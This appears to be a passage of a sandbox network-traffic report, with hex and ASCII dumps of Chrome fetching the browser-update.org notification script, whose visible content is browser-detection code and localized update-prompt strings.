2024-10-07 11:17:05 UTC	8000	IN	Data Raw: 09 24 f4 1b 47 e2 29 c9 25 25 e6 89 d7 91 df a3 33 7e 2d 5f 79 be 19 fb 6e ef 39 2c 6f a2 74 40 e7 84 50 54 9c fd 07 3c f6 ae ca e2 ea cf c4 1a 04 f0 c7 35 95 c3 6a 50 8c b2 e3 72 09 14 67 e5 ec 72 7d b0 05 47 e2 dd 0e cf c5 1e 11 b9 b2 6b 68 d2 4b 88 98 6e 8d 36 8d e7 93 d0 75 00 11 ff 00 eb ac 9f 87 1a 45 8e bd f0 f2 c2 e3 6a ad d5 bc be 54 bb 5b ca da 54 61 77 63 9c 13 91 9e 99 04 57 3b b3 82 7d 99 a7 33 e6 b7 74 53 f8 3d 3f da 7c 29 6e 92 36 d4 d3 2f 25 8a 6c 90 1d ce 41 51 b7 fb b8 61 f8 9a 8e cc b5 b7 c5 ed 4d 63 0d 02 ea 71 2c 81 66 6d db 0e 46 7e a4 80 7f 3a a3 e1 9d 01 74 8f 1e eb b6 1f 6c 99 63 9b 65 c2 2b c9 f7 51 89 dc 4f 40 73 b3 93 e8 a3 da b1 7e 23 db cf a5 78 c3 46 be 8e e9 d5 a4 bb 58 30 54 ed 50 d9 1f 2e ef 75 ef ed 5d 51 85 e6 f5 dd 7f Data Ascii: $G)%%3~-_yn9,ot@PT<5jPrgr}GkhKn6uEjT[TawcW;}3tS=?\|)n6/%lAQaMcq,fmF~:tlce+QO@s~#xFX0TP.u]Q
2024-10-07 11:17:05 UTC	8000	IN	Data Raw: db 3f 81 a8 cd fb 4a 16 e3 74 6d b4 16 d8 73 dc 00 47 1d ff 00 01 57 d0 ce 5a 31 ef 70 25 6c c9 1c 6d 14 89 fb ff 00 93 69 5c e7 07 3f 5c fe 54 f9 9a 28 d5 06 e2 92 23 a6 1d c9 03 e6 f9 79 ec 08 c0 1d 79 aa b3 4a d0 dc 96 c4 bb 26 4d aa aa bb ba e7 be 3f 3a 92 d1 26 36 e9 25 d4 9e 4a ee 2a 55 4e 37 15 e9 81 cf b1 cd 50 d4 ba 12 34 ec f9 8d d5 44 6c dc 29 51 f3 8e ad 8e de 9e fd 69 b0 4f 19 91 e4 93 74 31 46 c0 9f dd 92 ac 3b 74 f5 e4 54 77 1f 35 d2 da b2 4c 55 8f 0d 21 01 54 7a 93 eb ed e8 2a 24 9b 65 d4 38 91 de 39 b6 bc 8f 9f 95 8f 7e 3a 60 7d 6a d4 48 94 b5 2d c7 e6 4a 7c 9e 5b 63 31 c4 4c 78 e9 9c 7b 63 18 fa f5 a2 69 9a dc 47 e6 15 8d d1 72 09 1d c1 db 90 0f 53 8e e7 f0 aa b6 f3 2b da c8 77 bd bc 21 b2 c1 9b a8 3d 1b f9 7b 55 7b c6 f2 ae 14 c8 a5 4b Data Ascii: ?JtmsGWZ1p%lmi\?\T(#yyJ&M?:&6%JUN7P4Dl)QiOt1F;tTw5LU!Tz$e89~:`}jH-J\|[c1Lx{ciGrS+w!={U{K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49819	104.26.13.241	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:05 UTC	538	OUT	GET /update.show.min.js HTTP/1.1 Host: browser-update.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:05 UTC	761	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:05 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 21886 Connection: close Cache-Control: max-age=86400 content-disposition: inline; filename=update.show.min.js expires: Sun, 06 Oct 2024 10:56:46 GMT last-modified: Sun, 29 Sep 2024 17:05:40 GMT CF-Cache-Status: HIT Age: 174019 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wQAMa4WAwTs25kgIFcsAwOPvH99hKqIFsJ40cZ9qQSz5DiV%2BDnOLdfooaox7S9WlQOcWbSvvYwTYPOjYx3YqukZrYNZ2iR8GZme9RCaYo9cRdPwFMzx%2BzzXGxUUumukIs102Sw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ced7b961c9d80dc-EWR
2024-10-07 11:17:05 UTC	608	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 24 62 75 6f 5f 73 68 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 70 3d 77 69 6e 64 6f 77 2e 5f 62 75 6f 72 67 72 65 73 3b 76 61 72 20 62 62 3d 24 62 75 5f 67 65 74 42 72 6f 77 73 65 72 28 29 3b 76 61 72 20 62 75 72 6c 3d 6f 70 2e 62 75 72 6c 7c 7c 28 22 68 74 74 70 22 2b 28 2f 4d 53 49 45 2f 69 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 75 73 65 72 41 67 65 6e 74 29 3f 22 22 3a 22 73 22 29 2b 22 3a 2f 2f 62 72 6f 77 73 65 72 2d 75 70 64 61 74 65 2e 6f 72 67 2f 22 29 3b 69 66 28 21 6f 70 2e 75 72 6c 29 6f 70 2e 75 72 6c 3d 62 75 72 6c 2b 28 28 6f 70 2e 6c 26 26 28 6f 70 2e 6c 2b 22 2f 22 29 29 7c 7c 22 22 29 2b 22 75 70 64 61 74 65 2d 62 72 6f 77 73 65 72 2e 68 74 6d 6c 22 2b 28 6f 70 2e Data Ascii: "use strict";var $buo_show=function(){var op=window._buorgres;var bb=$bu_getBrowser();var burl=op.burl\|\|("http"+(/MSIE/i.test(navigator.userAgent)?"":"s")+"://browser-update.org/");if(!op.url)op.url=burl+((op.l&&(op.l+"/"))\|\|"")+"update-browser.html"+(op.
2024-10-07 11:17:05 UTC	1369	IN	Data Raw: 74 65 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 55 70 64 61 74 65 20 79 6f 75 72 20 62 72 6f 77 73 65 72 20 66 6f 72 20 6d 6f 72 65 20 73 65 63 75 72 69 74 79 2c 20 73 70 65 65 64 20 61 6e 64 20 74 68 65 20 62 65 73 74 20 65 78 70 65 72 69 65 6e 63 65 20 6f 6e 20 74 68 69 73 20 73 69 74 65 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 55 70 64 61 74 65 20 62 72 6f 77 73 65 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 65 27 2c 27 72 65 6d 69 6e 64 27 3a 27 59 6f 75 20 77 69 6c 6c 20 62 65 20 72 65 6d 69 6e 64 65 64 20 69 6e 20 7b 64 61 79 73 7d 20 64 61 79 73 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 65 76 65 72 20 73 68 6f 77 20 61 67 61 69 6e 27 2c 27 69 6e 73 65 63 75 72 65 27 3a 27 59 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 28 7b 62 72 Data Ascii: te.','msgmore':'Update your browser for more security, speed and the best experience on this site.','bupdate':'Update browser','bignore':'Ignore','remind':'You will be reminded in {days} days.','bnever':'Never show again','insecure':'Your web browser ({br
2024-10-07 11:17:05 UTC	1369	IN	Data Raw: 74 20 69 20 75 6e 61 20 6d 69 6c 6c 6f 72 20 65 78 70 65 72 69 c3 a8 6e 63 69 61 20 65 6e 20 61 71 75 65 73 74 20 6c 6c 6f 63 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 41 63 74 75 61 6c 69 74 7a 61 20 65 6c 20 6e 61 76 65 67 61 64 6f 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 61 72 27 2c 27 72 65 6d 69 6e 64 27 3a 27 54 5c 27 68 6f 20 72 65 63 6f 72 64 61 72 65 6d 20 64 5c 27 61 71 75 c3 ad 20 61 20 7b 64 61 79 73 7d 20 64 69 65 73 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 6f 20 68 6f 20 74 6f 72 6e 69 73 20 61 20 6d 6f 73 74 72 61 72 27 7d 3b 74 2e 63 73 3d 7b 27 6d 73 67 27 3a 27 56 c3 a1 c5 a1 20 70 72 6f 68 6c c3 ad c5 be 65 c4 8d 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 6a 65 20 7a 61 73 74 61 72 61 6c c3 bd 2e 27 2c 27 6d 73 67 6d Data Ascii: t i una millor experincia en aquest lloc.','bupdate':'Actualitza el navegador','bignore':'Ignorar','remind':'T\'ho recordarem d\'aqu a {days} dies.','bnever':'No ho tornis a mostrar'};t.cs={'msg':'V prohle ({brow_name}) je zastaral.','msgm
2024-10-07 11:17:05 UTC	1369	IN	Data Raw: 20 54 61 67 65 6e 20 77 69 65 64 65 72 20 65 72 69 6e 6e 65 72 74 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4e 69 65 20 77 69 65 64 65 72 20 61 6e 7a 65 69 67 65 6e 27 2c 27 69 6e 73 65 63 75 72 65 27 3a 27 49 68 72 20 57 65 62 62 72 6f 77 73 65 72 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 68 61 74 20 65 69 6e 65 20 65 72 6e 73 74 68 61 66 74 65 20 53 69 63 68 65 72 68 65 69 74 73 6c c3 bc 63 6b 65 21 27 7d 3b 74 2e 65 6c 3d 7b 27 6d 73 67 27 3a 27 ce a4 ce bf 20 cf 80 cf 81 cf 8c ce b3 cf 81 ce b1 ce bc ce bc ce b1 20 cf 80 ce b5 cf 81 ce b9 ce ae ce b3 ce b7 cf 83 ce ae cf 82 20 cf 83 ce b1 cf 82 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 ce b5 ce af ce bd ce b1 ce b9 20 ce b1 cf 80 ce b1 cf 81 cf 87 ce b1 ce b9 cf 89 ce bc ce ad ce bd ce bf 2e 27 2c Data Ascii: Tagen wieder erinnert.','bnever':'Nie wieder anzeigen','insecure':'Ihr Webbrowser ({brow_name}) hat eine ernsthafte Sicherheitslcke!'};t.el={'msg':' ({brow_name}) .',
2024-10-07 11:17:05 UTC	1369	IN	Data Raw: 3d 7b 27 6d 73 67 27 3a 27 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 20 d8 b4 d9 85 d8 a7 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 d9 82 d8 af db 8c d9 85 db 8c 20 d8 a7 d8 b3 d8 aa 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 d8 a8 d8 b1 d8 a7 db 8c 20 d8 a7 db 8c d9 85 d9 86 db 8c d8 8c 20 d8 b3 d8 b1 d8 b9 d8 aa 20 d9 88 20 d8 aa d8 ac d8 b1 d8 a8 d9 87 20 d8 a8 d9 87 d8 aa d8 b1 20 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 20 d8 ae d9 88 d8 af 20 d8 b1 d8 a7 20 d8 a8 d9 87 e2 80 8c d8 b1 d9 88 d8 b2 20 da a9 d9 86 db 8c d8 af 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d8 a8 d9 87 e2 80 8c d8 b1 d9 88 d8 b2 d8 b1 d8 b3 d8 a7 d9 86 db 8c 20 d9 85 d8 b1 d9 88 d8 b1 da af d8 b1 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 d9 86 d8 a7 d8 af db 8c d8 af d9 87 20 da af d8 b1 Data Ascii: ={'msg':' ({brow_name}) .','msgmore':' .','bupdate':' ','bignore':'
2024-10-07 11:17:05 UTC	1369	IN	Data Raw: 65 3d 7b 27 6d 73 67 27 3a 27 d7 93 d7 a4 d7 93 d7 a4 d7 9f 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 d7 a9 d7 9c d7 9a 20 d7 90 d7 99 d7 a0 d7 95 20 d7 9e d7 a2 d7 95 d7 93 d7 9b d7 9f 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 d7 a2 d7 93 d7 9b d7 9f 2f d7 99 20 d7 90 d7 aa 20 d7 94 d7 93 d7 a4 d7 93 d7 a4 d7 9f 20 d7 a9 d7 9c d7 9a 20 d7 9c d7 a9 d7 99 d7 a4 d7 95 d7 a8 20 d7 94 d7 90 d7 91 d7 98 d7 97 d7 94 20 d7 95 d7 94 d7 9e d7 94 d7 99 d7 a8 d7 95 d7 aa 20 d7 95 d7 9b d7 93 d7 99 20 d7 9c d7 99 d7 94 d7 a0 d7 95 d7 aa 20 d7 9e d7 94 d7 97 d7 95 d7 95 d7 99 d7 94 20 d7 94 d7 98 d7 95 d7 91 d7 94 20 d7 91 d7 99 d7 95 d7 aa d7 a8 20 d7 91 d7 90 d7 aa d7 a8 20 d7 96 d7 94 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d7 a2 d7 93 d7 9b d7 9f 20 d7 93 d7 Data Ascii: e={'msg':' ({brow_name}) .','msgmore':'/ .','bupdate':'
2024-10-07 11:17:05 UTC	1369	IN	Data Raw: 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 50 65 72 62 61 72 75 69 20 70 65 72 61 6d 62 61 6e 20 41 6e 64 61 20 75 6e 74 75 6b 20 70 65 6e 67 61 6c 61 6d 61 6e 20 74 65 72 62 61 69 6b 2c 20 6c 65 62 69 68 20 61 6d 61 6e 2c 20 64 61 6e 20 63 65 70 61 74 20 64 69 20 73 69 74 75 73 20 69 6e 69 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 50 65 72 62 61 72 75 69 20 70 65 72 61 6d 62 61 6e 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 41 62 61 69 6b 61 6e 27 2c 27 72 65 6d 69 6e 64 27 3a 27 41 6e 64 61 20 61 6b 61 6e 20 64 69 69 6e 67 61 74 6b 61 6e 20 6b 65 6d 62 61 6c 69 20 64 61 6c 61 6d 20 7b 64 61 79 73 7d 20 68 61 72 69 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 4a 61 6e 67 61 6e 20 70 65 72 6e 61 68 20 74 61 6d 70 69 6c 6b 61 6e 20 6c 61 67 69 27 7d 3b 74 2e 69 74 3d 7b 27 Data Ascii: ,'msgmore':'Perbarui peramban Anda untuk pengalaman terbaik, lebih aman, dan cepat di situs ini.','bupdate':'Perbarui peramban','bignore':'Abaikan','remind':'Anda akan diingatkan kembali dalam {days} hari.','bnever':'Jangan pernah tampilkan lagi'};t.it={'
2024-10-07 11:17:05 UTC	1369	IN	Data Raw: 97 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 79 72 61 20 70 61 73 65 6e 75 73 69 2e 27 2c 27 6d 73 67 6d 6f 72 65 27 3a 27 41 74 73 69 6e 61 75 6a 69 6e 6b 69 74 65 20 73 61 76 6f 20 6e 61 72 c5 a1 79 6b 6c c4 99 20 6e 6f 72 c4 97 64 61 6d 69 20 67 61 75 74 69 20 64 61 75 67 69 61 75 20 73 61 75 67 75 6d 6f 2c 20 67 72 65 69 c4 8d 69 6f 20 69 72 20 70 61 c4 8d 69 c5 b3 20 67 65 72 69 61 75 73 69 c5 b3 20 70 61 74 69 72 c4 8d 69 c5 b3 20 c5 a1 69 6f 6a 65 20 73 76 65 74 61 69 6e c4 97 6a 65 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 41 74 6e 61 75 6a 69 6e 74 69 20 6e 61 72 c5 a1 79 6b 6c c4 99 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 4e 65 70 61 69 73 79 74 69 27 2c 27 72 65 6d 69 6e 64 27 3a 27 4a 75 6d 73 20 62 75 73 20 70 72 69 6d 69 6e 74 61 20 70 6f Data Ascii: ({brow_name}) yra pasenusi.','msgmore':'Atsinaujinkite savo narykl nordami gauti daugiau saugumo, greiio ir pai geriausi patiri ioje svetainje.','bupdate':'Atnaujinti narykl','bignore':'Nepaisyti','remind':'Jums bus priminta po
2024-10-07 11:17:05 UTC	1369	IN	Data Raw: 65 72 68 65 74 2c 20 68 61 73 74 69 67 68 65 74 20 6f 67 20 64 65 6e 20 62 65 73 74 65 20 6f 70 70 6c 65 76 65 6c 73 65 6e 20 70 c3 a5 20 64 65 74 74 65 20 6e 65 74 74 73 74 65 64 65 74 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 4f 70 70 64 61 74 65 72 20 6e 65 74 74 6c 65 73 65 72 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 49 67 6e 6f 72 65 72 27 2c 27 72 65 6d 69 6e 64 27 3a 27 44 75 20 76 69 6c 20 66 c3 a5 20 65 6e 20 70 c3 a5 6d 69 6e 6e 65 6c 73 65 20 6f 6d 20 7b 64 61 79 73 7d 20 64 61 67 65 72 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 41 6c 64 72 69 20 76 69 73 20 69 67 6a 65 6e 27 7d 3b 74 2e 70 6c 3d 7b 27 6d 73 67 27 3a 27 54 77 6f 6a 61 20 70 72 7a 65 67 6c c4 85 64 61 72 6b 61 20 28 7b 62 72 6f 77 5f 6e 61 6d 65 7d 29 20 6a 65 73 74 20 6e 69 65 61 6b Data Ascii: erhet, hastighet og den beste opplevelsen p dette nettstedet.','bupdate':'Oppdater nettleser','bignore':'Ignorer','remind':'Du vil f en pminnelse om {days} dager.','bnever':'Aldri vis igjen'};t.pl={'msg':'Twoja przegldarka ({brow_name}) jest nieak
2024-10-07 11:17:05 UTC	1369	IN	Data Raw: bf d0 be d0 bb d1 8c d0 b7 d0 be d0 b2 d0 b0 d0 bd d0 b8 d1 8f 20 d1 8d d1 82 d0 be d0 b3 d0 be 20 d1 81 d0 b0 d0 b9 d1 82 d0 b0 2e 27 2c 27 62 75 70 64 61 74 65 27 3a 27 d0 9e d0 b1 d0 bd d0 be d0 b2 d0 b8 d1 82 d1 8c 20 d0 b1 d1 80 d0 b0 d1 83 d0 b7 d0 b5 d1 80 27 2c 27 62 69 67 6e 6f 72 65 27 3a 27 d0 98 d0 b3 d0 bd d0 be d1 80 d0 b8 d1 80 d0 be d0 b2 d0 b0 d1 82 d1 8c 27 2c 27 72 65 6d 69 6e 64 27 3a 27 d0 92 d1 8b 20 d0 bf d0 be d0 bb d1 83 d1 87 d0 b8 d1 82 d0 b5 20 d0 bd d0 b0 d0 bf d0 be d0 bc d0 b8 d0 bd d0 b0 d0 bd d0 b8 d0 b5 20 d1 87 d0 b5 d1 80 d0 b5 d0 b7 20 7b 64 61 79 73 7d 20 d0 b4 d0 bd d0 b5 d0 b9 2e 27 2c 27 62 6e 65 76 65 72 27 3a 27 d0 91 d0 be d0 bb d1 8c d1 88 d0 b5 20 d0 bd d0 b5 20 d0 bf d0 be d0 ba d0 b0 d0 b7 d1 8b d0 b2 d0 b0 Data Ascii: .','bupdate':' ','bignore':'','remind':' {days} .','bnever':'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49826	104.21.7.183	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:06 UTC	354	OUT	GET /update.min.js HTTP/1.1 Host: browserupdate.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:06 UTC	761	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:06 GMT Content-Type: application/javascript; charset=utf-8 Content-Length: 9354 Connection: close Cache-Control: max-age=86400 Content-Disposition: inline; filename=update.min.js Expires: Tue, 08 Oct 2024 10:33:46 GMT Last-Modified: Sun, 29 Sep 2024 17:05:39 GMT CF-Cache-Status: HIT Age: 2599 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=680WXBCmbFozimmZMDPpwPjwF7nkXRas8%2FEiZ5SOak5j3%2F5ByXpVU%2FYFyBInXhD6JGJPA94qwLZLHlEPhkYJN%2BhuNx3ZLNlMiPq%2B3iPwHSqJYyFs7Cbc%2BrVqqL90B1r52vsuVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ced7b990eebde97-EWR
2024-10-07 11:17:06 UTC	608	IN	Data Raw: 2f 2f 28 63 29 32 30 32 31 2c 20 4d 49 54 20 53 74 79 6c 65 20 4c 69 63 65 6e 73 65 20 3c 62 72 6f 77 73 65 72 2d 75 70 64 61 74 65 2e 6f 72 67 2f 4c 49 43 45 4e 53 45 2e 74 78 74 3e 0d 0a 2f 2f 69 74 20 69 73 20 72 65 63 6f 6d 6d 65 6e 64 65 64 20 74 6f 20 64 69 72 65 63 74 6c 79 20 6c 69 6e 6b 20 74 6f 20 74 68 69 73 20 66 69 6c 65 20 62 65 63 61 75 73 65 20 77 65 20 75 70 64 61 74 65 20 74 68 65 20 64 65 74 65 63 74 69 6f 6e 20 63 6f 64 65 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 24 62 75 5f 3d 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 3d 74 68 69 73 3b 74 68 69 73 2e 76 65 72 73 69 6f 6e 3d 22 33 2e 33 2e 35 34 22 3b 74 68 69 73 2e 76 73 61 6b 74 3d 7b 63 3a 22 31 32 38 22 2c 66 3a 22 31 33 30 22 2c 73 3a 22 31 37 2e Data Ascii: //(c)2021, MIT Style License <browser-update.org/LICENSE.txt>//it is recommended to directly link to this file because we update the detection code"use strict";var $bu_=new function(){var s=this;this.version="3.3.54";this.vsakt={c:"128",f:"130",s:"17.
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 6f 78 27 2c 73 3a 27 53 61 66 61 72 69 27 2c 65 3a 22 45 64 67 65 22 2c 69 3a 27 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 27 2c 69 6f 73 3a 22 69 4f 53 22 2c 73 61 6d 73 75 6e 67 3a 22 53 61 6d 73 75 6e 67 20 49 6e 74 65 72 6e 65 74 22 2c 6f 3a 27 4f 70 65 72 61 27 2c 6f 5f 61 3a 27 4f 70 65 72 61 27 2c 65 5f 61 3a 22 45 64 67 65 22 2c 79 3a 22 59 61 6e 64 65 78 20 42 72 6f 77 73 65 72 22 2c 76 3a 22 56 69 76 61 6c 64 69 22 2c 75 63 3a 22 55 43 20 42 72 6f 77 73 65 72 22 2c 61 3a 22 41 6e 64 72 6f 69 64 20 42 72 6f 77 73 65 72 22 2c 78 3a 22 4f 74 68 65 72 22 2c 73 69 6c 6b 3a 22 53 69 6c 6b 22 7d 3b 74 68 69 73 2e 67 65 74 5f 62 72 6f 77 73 65 72 3d 66 75 6e 63 74 69 6f 6e 28 75 61 29 7b 76 61 72 20 6e 2c 75 61 3d 28 75 61 7c 7c 6e 61 76 69 67 Data Ascii: ox',s:'Safari',e:"Edge",i:'Internet Explorer',ios:"iOS",samsung:"Samsung Internet",o:'Opera',o_a:'Opera',e_a:"Edge",y:"Yandex Browser",v:"Vivaldi",uc:"UC Browser",a:"Android Browser",x:"Other",silk:"Silk"};this.get_browser=function(ua){var n,ua=(ua\|\|navig
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 6b 69 6e 64 6c 65 7c 74 69 7a 65 6e 7c 73 69 6c 6b 7c 62 6c 61 63 6b 62 65 72 72 79 7c 62 62 31 30 7c 52 49 4d 7c 50 6c 61 79 42 6f 6f 6b 7c 6d 65 65 67 6f 7c 6e 6f 6b 69 61 7c 75 63 77 65 62 7c 5a 75 6e 65 57 50 37 7c 35 33 37 2e 38 35 2e 31 30 22 29 3b 72 2e 65 6d 62 65 64 64 65 64 3d 2f 22 51 74 57 65 62 45 6e 67 69 6e 65 7c 54 65 61 6d 73 7c 45 6c 65 63 74 72 6f 6e 2f 69 2e 74 65 73 74 28 75 61 29 3b 72 2e 6d 6f 62 69 6c 65 3d 28 2f 69 70 68 6f 6e 65 7c 69 70 6f 64 7c 69 70 61 64 7c 61 6e 64 72 6f 69 64 7c 6d 6f 62 69 6c 65 7c 70 68 6f 6e 65 7c 69 6f 73 7c 69 65 6d 6f 62 69 6c 65 2f 69 2e 74 65 73 74 28 75 61 29 29 3b 72 2e 64 69 73 63 6f 6e 74 69 6e 75 65 64 3d 28 2f 6e 65 74 73 63 61 70 65 7c 67 72 65 65 6e 62 72 6f 77 73 65 72 7c 63 61 6d 69 6e 6f Data Ascii: kindle\|tizen\|silk\|blackberry\|bb10\|RIM\|PlayBook\|meego\|nokia\|ucweb\|ZuneWP7\|537.85.10");r.embedded=/"QtWebEngine\|Teams\|Electron/i.test(ua);r.mobile=(/iphone\|ipod\|ipad\|android\|mobile\|phone\|ios\|iemobile/i.test(ua));r.discontinued=(/netscape\|greenbrowser\|camino
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 28 75 61 29 29 7b 75 61 2e 6d 61 74 63 68 28 6e 65 77 20 52 65 67 45 78 70 28 22 4f 53 2e 22 2b 56 56 2c 22 69 22 29 29 3b 72 2e 6e 3d 22 69 6f 73 22 3b 72 2e 66 75 6c 6c 76 3d 52 65 67 45 78 70 2e 24 31 3b 72 2e 76 3d 70 61 72 73 65 46 6c 6f 61 74 28 72 2e 66 75 6c 6c 76 29 3b 72 2e 65 6e 67 69 6e 65 3d 27 69 6f 73 27 3b 76 61 72 20 61 76 3d 73 2e 61 76 61 69 6c 61 62 6c 65 5f 69 6f 73 28 75 61 2c 72 2e 76 29 3b 69 66 28 61 76 3c 31 32 26 26 4d 61 74 68 2e 72 6f 75 6e 64 28 72 2e 76 29 3d 3d 3d 31 31 29 61 76 3d 31 32 3b 72 2e 61 76 61 69 6c 61 62 6c 65 3d 7b 22 69 6f 73 22 3a 61 76 7d 3b 69 66 28 70 61 72 73 65 46 6c 6f 61 74 28 72 2e 61 76 61 69 6c 61 62 6c 65 2e 69 6f 73 29 3c 31 35 29 72 2e 6e 6f 5f 64 65 76 69 63 65 5f 75 70 64 61 74 65 3d 74 72 75 Data Ascii: (ua)){ua.match(new RegExp("OS."+VV,"i"));r.n="ios";r.fullv=RegExp.$1;r.v=parseFloat(r.fullv);r.engine='ios';var av=s.available_ios(ua,r.v);if(av<12&&Math.round(r.v)===11)av=12;r.available={"ios":av};if(parseFloat(r.available.ios)<15)r.no_device_update=tru
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 33 22 29 21 3d 31 3b 7d 69 66 28 72 2e 6e 20 69 6e 20 5b 22 63 22 2c 22 66 22 2c 22 6f 22 2c 22 65 22 5d 26 26 73 2e 6c 65 73 73 28 72 2e 66 75 6c 6c 76 2c 70 61 72 73 65 46 6c 6f 61 74 28 73 2e 76 73 61 6b 74 5b 72 2e 6e 5d 29 2d 31 29 3c 3d 30 29 72 2e 69 73 5f 73 75 70 70 6f 72 74 65 64 3d 74 72 75 65 3b 76 61 72 20 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 3d 7b 27 66 27 3a 37 2c 27 63 27 3a 38 2c 27 6f 27 3a 38 2c 27 69 27 3a 31 2c 27 65 27 3a 31 2c 27 73 27 3a 31 7d 3b 69 66 28 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 5b 72 2e 6e 5d 29 72 2e 61 67 65 5f 79 65 61 72 73 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 28 28 73 2e 76 73 61 6b 74 5b 72 2e 6e 5d 2d 72 2e 76 29 2f 72 65 6c 65 61 73 65 73 5f 70 65 72 5f 79 65 61 72 5b 72 2e 6e 5d 29 Data Ascii: 3")!=1;}if(r.n in ["c","f","o","e"]&&s.less(r.fullv,parseFloat(s.vsakt[r.n])-1)<=0)r.is_supported=true;var releases_per_year={'f':7,'c':8,'o':8,'i':1,'e':1,'s':1};if(releases_per_year[r.n])r.age_years=Math.round(((s.vsakt[r.n]-r.v)/releases_per_year[r.n])
2024-10-07 11:17:06 UTC	1369	IN	Data Raw: 6c 3d 6f 70 2e 6c 7c 7c 28 6e 2e 6c 61 6e 67 75 61 67 65 73 3f 6e 2e 6c 61 6e 67 75 61 67 65 73 5b 30 5d 3a 6e 75 6c 6c 29 7c 7c 6e 2e 6c 61 6e 67 75 61 67 65 7c 7c 6e 2e 62 72 6f 77 73 65 72 4c 61 6e 67 75 61 67 65 7c 7c 6e 2e 75 73 65 72 4c 61 6e 67 75 61 67 65 7c 7c 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 61 6e 67 22 29 7c 7c 22 65 6e 22 3b 6f 70 2e 6c 6c 66 75 6c 6c 3d 6c 6c 2e 72 65 70 6c 61 63 65 28 22 5f 22 2c 22 2d 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 75 62 73 74 72 28 30 2c 35 29 3b 6f 70 2e 6c 6c 3d 6f 70 2e 6c 6c 66 75 6c 6c 2e 73 75 62 73 74 72 28 30 2c 32 29 3b 6f 70 